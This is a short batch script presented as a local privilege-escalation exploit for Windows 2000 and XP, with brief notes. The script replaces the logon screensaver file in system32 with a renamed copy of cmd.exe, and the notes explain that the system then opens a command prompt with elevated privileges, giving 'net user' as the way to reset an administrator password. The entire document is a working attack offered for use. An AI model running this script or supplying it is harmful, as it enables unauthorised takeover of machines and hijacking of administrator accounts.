Windows 2000,XP And Before Local Privilege Escalation

@echo off
title Windows XP Local Privilege Escalation Exploit
color 0a
cls
cd / && cd windows/system32/
mkdir ghosty && copy logon.scr ghosty\logon.scr && copy cmd.exe ghosty\cmd.exe
del logon.scr && rename cmd.exe logon.scr
echo.
echo.
echo Activate Screensaver And Please Wait For It
echo An Unprotected CMD Will Pop-Up


(!)NOTES:
short explaination
so in this script we backup the cmd.exe(COMMAND PROMPT) & logon.src(SCREENSAVER)
then we delete logon.scr and rename cmd.exe to logon.scr
we set screensaver and wait for it the system (NT/AUTORITE) will look for screen saver file (logon.scr) but its cmd.exe
so he will execute cmd.exe with higher privilege :) so we can use this to get the administrator account
ex: net user [ADMIN_HERE] [PASS_HERE]